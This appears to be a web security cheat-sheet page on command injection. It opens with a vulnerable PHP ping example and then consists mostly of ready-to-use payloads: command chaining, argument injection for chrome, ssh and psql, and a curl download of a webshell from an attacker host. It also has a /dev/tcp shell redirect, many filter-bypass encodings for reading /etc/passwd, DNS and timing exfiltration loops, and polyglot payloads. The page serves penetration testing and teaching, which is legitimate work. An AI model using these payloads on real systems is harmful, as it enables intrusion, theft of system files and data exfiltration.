Skip to content

Command Injection

Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

Summary

Tools

Methodology

Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.

The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.

Example of Command Injection with PHP:
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:

<?php
    $ip = $_GET['ip'];
    system("ping -c 4 " . $ip);
?>

In the above code, the PHP script uses the system() function to execute the ping command with the IP address or domain provided by the user through the ip GET parameter.

If an attacker provides input like 8.8.8.8; cat /etc/passwd, the actual command that gets executed would be: ping -c 4 8.8.8.8; cat /etc/passwd.

This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.

Basic commands

Execute the command and voila :p

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...

Chaining commands

In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.

  • ; (Semicolon): Allows you to execute multiple commands sequentially.
  • && (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
  • || (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
  • & (Background): Execute the command in the background, allowing the user to continue using the shell.
  • | (Pipe): Takes the output of the first command and uses it as the input for the second command.
command1; command2   # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2  # Execute command1 in the background
command1 | command2  # Pipe the output of command1 into command2

Argument Injection

Gain a command execution when you can only append arguments to an existing command. Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.

  • Chrome 

    chrome '--gpu-launcher="id>/tmp/foo"'

  • SSH 

    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo

  • psql 

    psql -o'|id>/tmp/foo'

Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.

  • curl 
    # -o, --output <file>        Write to file instead of stdout
curl http://evil.attacker.com/ -o webshell.php

Inside a command

  • Command injection using backticks. 
    original_cmd_by_server `cat /etc/passwd`
  • Command injection using substitution 
    original_cmd_by_server $(cat /etc/passwd)

Filter Bypasses

Bypass without space

  • $IFS is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS as a space. $IFS does not directly work as a separator in commands like ls, wget; use ${IFS} instead. 
    cat${IFS}/etc/passwd
ls${IFS}-la
  • In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments. 
    {cat,/etc/passwd}
  • Input redirection. The < character tells the shell to read the contents of the file specified. 
    cat</etc/passwd
sh</dev/tcp/127.0.0.1/4242
  • ANSI-C Quoting 
    X=$'uname\x20-a'&&$X
  • The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value 09. 
    ;ls%09-al%09/home
  • In Windows, %VARIABLE:~start,length% is a syntax used for substring operations on environment variables. 
    ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.0.1

Bypass with a line return

Commands can also be run in sequence with newlines

original_cmd_by_server
ls

Bypass with backslash newline

  • Commands can be broken into parts by using backslash followed by a newline 
    $ cat /et\
c/pa\
sswd
  • URL encoded form would look like this: 
    cat%20/et%5C%0Ac/pa%5C%0Asswd

Bypass characters filter via hex encoding

swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

Bypass with Tilde expansion

echo ~+
echo ~-

Bypass with Brace expansion

{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}

Bypass characters filter

Commands execution without backslash and slash - linux bash

swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

Bypass Blacklisted words

Bypass with single quote

w'h'o'am'i
wh''oami
'w'hoami

Bypass with double quote

w"h"o"am"i
wh""oami
"wh"oami

Bypass with backticks

wh``oami

Bypass with backslash and slash

w\ho\am\i
/\b\i\n/////s\h

Bypass with $@

$0: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, $0 will typically give the name of the shell.

who$@ami
echo whoami|$0

Bypass with $()

who$()ami
who$(echo am)i
who`echo am`i

Bypass with variable expansion

/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

Bypass with wildcards

powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

Data Exfiltration

Time based data exfiltration

Extracting data : char by char

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Polyglot Command Injection

A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.

  • Example 1: 
    Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

# Context inside commands with single and double quote:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  • Example 2: 
    Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

# Context inside commands with single and double quote:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'

Tricks

Backgrounding long running commands

In some instances, you might have a long running command that gets killed by the process injecting it timing out. Using nohup, you can keep the process running after the parent process exits.

nohup sleep 120 > /dev/null &

Remove arguments after the injection

In Unix-like command-line interfaces, the -- symbol is used to signify the end of command options. After --, all arguments are treated as filenames and arguments, and not as options.

Labs

Challenge

Challenge based on the previous tricks, what does the following command do:

g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}

NOTE: The command is safe to run, but you should not trust me.

References